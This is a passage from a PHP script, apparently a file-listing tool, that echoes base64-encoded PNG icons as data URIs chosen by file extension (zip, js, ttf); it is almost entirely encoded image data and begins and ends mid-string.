AAiApAbC2e2d429qpTlYAASAAkhIAs1q3hnPLJzlRAQSAAEhKANy+a60TFEAACICkBED/cHe4oXa5kxNAAAiApARA+0BH+JdN852YAAJAACQlALb3NoX3Vc10UgIIAAGQlABY3VUf3lI52QkJIAAEQFIC4NHmzeGcctP6AggAAZCIABhO+2lDuZMQQAAIgKQEwN6hrvDlrUudgAACQAAkJQCa+9vCP26c6+QDEAACICkBUNPTGN69broTD0AACICkBMBjHdvDBRWPOukABIAASEoAPLinOpztTn8AASAAkhEAQ8Op8P0dq51oAAJAACQlAFJDneHqLYudZAACQAAkJQB297WGj2yY7QQDEAACICkBUJXaFS5ZN83JBSAABEBSAmBe27ZwfsUkJxaAABAASQmAu3avD2c5oQAEgABIRgAMDKfCN7evdDIBCAABkJQA6BzsCJ/evNCJBCAABEBSAmBHb3P4QNVMJxGAABAASQmA8u6GcPHaKU4gAAEgAJISANNbasK55e70BxAAAiARATCcdvPOSicNgAAQAEkJgL6h7nD9tmVOGAABIACSEgCtA+3h8k3znCwAAkAAJCUAtu3dEy5dP8OJAiAABEBSAmB5545wYeVkJwmAABAASQmAh5s2hjeWT3SCAAgAAZCEABgaSYWb6sucGAACQAAkJQD2DnWFa7cucVIACAABkJQA2NPfFi6rnuOEABAAAiApAbCppzG8c900JwOAABAASQmARe214U0VjzoRAASAAEhKANy3Z0M4u8yd/gACQAAkIgAGh1PhO3WrHPwAAkAAJCUAugc7w+drFjnwARAASQmAnX0t4UMbZjvoARAASQmAtd07w9vWTnXAAyAAkhIAs1u3hvMqJjnYARAASfGLbatX/2P59AAAL3b9xkU1AqBEfXLVtIY/nXpzAIAXi8YIASAAABAAAkAAACAABIAAAEAACAABAIAAEAACAAABIAAEAAACQAAIAAAEgAAQAAAIAAEgAAAQAAJAAAAgAASAAABAAAgAAQCAABAAAgAAASAABAAAAkAACAAABIAAAAABIAAAEAACQAAAIAAEgAAAQAAIAAEAgAAQAAIAAAEgAAQAAAJAAAgAAASAABAAAAgAASAAABAAAkAAACAABIAAAEAACAABAIAAEAACAAABIAAEAAACQAAIAAAEgAAQAMnxF9NvDa+ffVdW/mbWnd5DEAACQAAQR1/esCRku+178gnvYcL97ew7wzuXPBwuL5sVrq9eGn5atzY81LQtLO5uCnM6d4f7G7eEn2yvDF/duDR8snxOeN+ySeH8+feFV0+7xfsnAASAAEAA/KGLFj0Q3pseLArt75dNDBcu/FX43zPvcDychosXPZgZ0LeN9IWnTp7I+tg5+PSTmUi4YdPycN78e723AkAACAAEwG+tG+gKY709nR7Q+p84GnYfHA6V/Z3h9obq8M9rZobXzbg90cfIB5Y/Gu7etSm0HN5XsPe++dBI+NWerZlvEl7lvBQAAkAAIACKYTv+7MnMJ957dm8OH189IxHHxV/PuiMz6EdBNNbbnoMj4aq1C5yfAkAACAAEQHFtzelPwjfWrAp/OfOXJXc8RJ++v7ZpeRhJ79vx3nYeGAqfqZzrPBUAAkAAIACKazt8/KnM19bRPQSlcCx8bNW0zKBbbNv2ff3hirLZzlcBIAAEAAKguLaTzz2X+XngNdNvi+UxcMGC+zM35BX7Nrl1R+axVeetABAAAgABUFw/DRwayTxZEKf9H/3W/uSJZ2LzHm8d6Q3nzJvg3BUAAkAAIACKa3vm2WfDrQ0bwp9PK/5PqtEjeNG3F3HbBn9zLHx4xRTnrwAQAAIAAVB8W/S79f+ZfVfR7vf/2F4Znovx+3v85Mnwjc0rnMMCQAAIAARA8W3RDXWvL8IImLC7JpTCFt2E+eYF9zuPBYAAEAAIgOLbGg4MFk0ERNPvTm9rKIn3te+Jo5kpiJ3DAkAACAAEQNFu9fsHM3Pmj/e+nt2xq+D/rMeeeTp0HDkQNg31pPdhd2bOhGja33xuTYdGTB8sAASAAEAA/OH23S1rTnstgPcvfzR8snx2ZrGaaCGbB/ZsDYu694QDT/0mr4NW7b7+cX2E7bqqJXkf7J997rlQO9IXfla3Lrxn6cSXnRjpNTNuyywE9Mud1aHx4HDWf7N6MGUVSgEgAAQAAuDU26cq5uT89/9s2i3hE2WzwrS2+vQn2PzEwG0NG8ZlH79p/n2Z38vz+fX7t2pWhrPm3pP1a4omT7q3sSZzM9/pbtFcBXGda0EACAABgACISQC84NNretCJPrlGj/jl+ojgpelPymM9tW/0qTkvd94/ezIz4VE+p0B+66IHw+re9lf829E3MxYJEgACQAAgAMY0AEZFg3euU+XuSv/vx3KOgB/XVuZl8K8a7A5vW/zrgr3OaJ8dOcW3FNGjijfVVjhXBYAAEAAIgPELgEg0eJ/OJ9aX226urxqTfRv9Ln8mX7G/1BbdExH9JFLo1xvdj3HoeTcMRt84RPcuOE8FgAAQAAiAcQ+A0Rvaok/EuXyVfkGBn1+PXmM0NXGu25JU05gM/s//liW6AfPo8afDP62Z6RwVAAJAACAAiicAItHv4LtzuJv9lgJ/CxAtV5zrtjTVPKaD/6jo+f73jPG9EggAASAABIAAOG0fXTk16+l0U8cOFfS1tRzel9Pgv3GoJxbrGSAABIAAQACMeQBE5nc1Zv06P756RkFe0xVls3O+2//tBbzhDwEgAAQAAiD2ARA9z57ttwDRzHyFeE1lfR05BcBduzY5NxAAAkAACAAB8Eqi2fCy2Z44cTz8VR6fqY9cvOjBnFb52/v44fC6Gbc7NxAAAkAACAAB8Ep+sK28aH4GmNi8PadP/5+tnOe8QAAIAAEgAATAaT1v/9gjWb/Wr1QvzdvriObIf/yZ41m/lq0jvc4JBIAAEAACQACcrr+edUfWr/XnO9bl7XX8qLYip0//39i8wjmBABAAAkAACIAzke1iO5Nbd4z7vQjR9tTJE1bZQwAIAAEgAATAmcp2idvojv18/P3Xzrg98/heLtP9Oh8QAAJAAAgAAXCGsl0fYM/Bkbz8/ctWTc/p6/9Pls9xPiAABIAAEAAC4EzNat+Z1WvtffxIXv5+dC9BttvQbx4flyl/EQACQAAgAGIfAMt7WrJ6rQ0HBvPy98tzmPxnWlu9cwEBIAAEgAAQANmoHkyN2z0Ar8rhJsRoixYOci4gAASAABAAAiAL2a4MOKO9Iee//e4c5iGItv+7fLJzAQEgAASAABAA2Yh+yx+vefdzWfr3xHPPhtfMuM25gAAQAAJAAAiAbL6Cj+b1z2b73tY1Of/9eZ3Zr0iYr6cQEAACQAAgABIXAJcunZj1a/3C+kU5//3Oowez/vuFWpEQASAABAACoOQD4Ptby7J+rRcteiDnv3/0+NNZ//3vbytzHiAABIAAEAACIBtLU81Zvc62I/tz/tuvnnZLTsv/5ns1QgSAABAACIBEBEA0AEfvQzbb/Y1bcv77fzfn7pyeALhkyUPOAwSAABAAAkAAnKlr1i0c10/f0U8IuWxnz53gPEAACAABIAAEwJnasX8gq9cYTdyTj+l3P7D80ZwC4C+m3+o8QAAIAAEgAATAmfjnNTOzfo35Wn3virLZWb+G35x4xjmAABAAAkAACIAz8boZt2c9+1+0fWzVtLy8jmurFmf9GgZ+c8w5gAAQAAJAAAiAMzG/K/vJd1bubcvb68hlFsDmQyYBQgAIAAEgAATAaftZXfZL75587rnwziUPF8VrqRne6xxAAAgAASAABMAree2M2zOL9+SyTW9ryOtrurexJuvXsqq3rWD7733LJoWHm2vHhScbBIAAEAAIgLz58IopYdeBoZwG/ydPPBPOm39vXl/XxJbtWb+eBV2NRXlc5bq9w9wGAkAACAAEQC7OmntP+FzlvFA9mMrLwFSIaXfv2b0569ezurddACAABIAAEAClEwB37NwYrl634Ix9c/PKzFfIG9ID/v6nnsjroPRQ07aCvE8/rVtblPcACAABIAAEAAJgzAOg2LblPS2ZKYML8T5F0VKMTwEIAAEgAAQAAiDRAVA70pe5ebBQ71O0nHC2W/8TRwUAAkAACAABIADyvUUTBb1hzt0F3X+Xl83K+vU9ceK4AEAACAABIAAEQD63ic3bw2tm3Fbw/ff+HNcC+PNptwoABIAAEAACQADkuh16+slw5dr5Y7b/3rIwt9UA3zDnHgGAABAAAkAACIBcti3DveFN8+8b0/33+tl35fSaL170oABAAAgAASAABEBWN/rt6w/XrFtYsDv9X86r0p597rmsX/s/rp5RkNd12arpmZkGs5XLY5gCQAAIAAGAACjYFg25a3rbMwPdeO/Dw8efyvqfoxCTE433/hcAAkAACAAEQN63jiMHwqSWuvCuxx4umn3Yenh/1v88M9t3CgAEgAAQAAJAALx46z52KLOAz79ueCycO+/eotyHs9KDeLZbw4FBAYAAEAACQACURgBsG+k77d+ao1n6prXVZ+bU/3FtZbhh47Lw2cp5mcV/inXAf7GvbVqe9Xv11MkT4c/G4d4FASAABIAAQADkfQD4pzUzE7UP37741zl9y/HOJQ8LAASAABAAAkAAxNGBp36T9fsVHQMCAAEgAASAABAAMbRyb1vW79d9jVsEAAJAAAgAASAA4ugn2yuzfr/ajxwQAAgAASAABIAAiKOPrJya030A7102SQAgAASAABAAAiBuXjP9tvD0yRNZv2f3NtYIAASAABAAAkA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"; } elseif ($ext == "zip") { echo "data:image/png;base64,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"; } elseif ($ext == "js") { echo "data:image/png;base64,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"; } elseif ($ext == "ttf") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAACxQAAAsUBidZ/7wAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAovSURBVHic7Z1JbBvXGcf/M6OhLMdaKEqWYtmu4kWLN9mKJC9FXae2Cy9pgXS5FO2lQNEUaNGi6K2HXlKgtxx7zim9FAEaWDASx2ncOJEU7au1y7JkbRQlSuI2aw+GFzLkcMR55DzOvN+NwzffPIE/zXvvm/fecLqugxQLi+NXAHxOLKADCG1vDgQ2Y20XL1yW7K5LMni7K+B0ZCnWVLqvYPzrjgceu+uSDCZADpDlaC2tEjABcgStEjABcgiNEjABcgxtEjABbIAmCZgANkGLBEwAG6FBAiaAzdgtAROAAuyUgAlACXZJwASgCDskYAJQRq4lYAJQSC4lYAJQSq4kYAJQTC4kYAJQTrYlYALkAdmUoIB0QEY8vCAAsD7tTtPk2vKywp6FxfEzB2vqic3jYwJkmZKyCpLhTgEoBBAlFZA1AS6HCeBymAAuhwngcpgALsexowBV0/DBh3ehWRww7feV4sc3v0umUhTiWAEmphbw4Uf3LcfxiCJuXGuDRxQJ1Io+HNsE9A6ME4kjyTKGR+eIxKIRxwrQPThBMNYjYrFow5EChMNRjE08Jhavp5+cTLThSAH6h6ehqhqxeDOPl7CxuU0sHk04UoDuQTLt/6v0DDjzLuBIAXr6mQBmcZwAK6sbeLq8Tjxuz+AESO6mQguOywN0mxj+tZ5twNs/vBB37J8f/AfLK4GU52xsbmN2fhlHvvO65TrShOME6DEhwPUrLbjUdiruWP/wFD5q/9I4dv+E4wRwVBOgahp6B6cMy/A8hzeb6r51vLW5IW18J+YDHCXAxNQCQuGIYZn6Y4dQUrz3W8ebTh5Focc43Ts8OgdJli3VkTYcJYCZ23/bucakxz2iiKaTRw3PlWQZQyOzGdWNVtwngMGtvq05uRyvko0cg504RoBwOIqxyXnDMmUl+3D8yMGU37c216e9Tq/D8gGOEcBM+rflXD04jkv5/YGqCtS8bjyL12lpYccIYObWnKr9jy+TfjTgpKygYwRIl/5NNfxLxMxwkAlAGcsrgbTp31TDv0TMDAe7B8cdkxZ2hABmJn+Yuf0D5oaDm5s7mHm8ZCoe7ThCADPTv8zc2ndTtndg0nQ8msl7Acykf8tK9qHOYPiXiJm7hVPSwnkvgJn0b8tZ4+FfIgeqfThQ7TMsMzw6h5iU/2nhvHgaGIlKmJh+kvS7/37Zl/b8cm8xBkamd3XNQzVVhh1LSZbRfq8z6dNBngdONxr3I2iBy4dXxkzPLeLdv7xPOmzWEAsK0P6vf2QrfNHBmnq2PJxBBiaAy2ECuBwmgMthArgcJoDLYQK4nLxIBJUUv4a3r8fP47//sB/hcOrhsMDzuHG1Debzf8kJbofwv44hwzKHa/bjzIkjL69dIFi8au7ICwEqfWX4429/9uLz4pIfd+51Gp7Teq4ef3rlnExRVQ2/ePc9BDa2UpaJxCT84Tc/Bc9b1S335GUT0H6vI+3z+FvXLxK5liDwuPFWq2GZNf8muvry8+FQ3gmgKCo++bzbsEylr8xw9u9uuXXtQtr/7juffEXserkk7wR42DmEza0dwzI3rrZB4Mn9aVX7vWg+bTyd7Ju+caz5N4ldM1fknQB37nUYfi/wPG7+oI34dW8nLCZNRNU0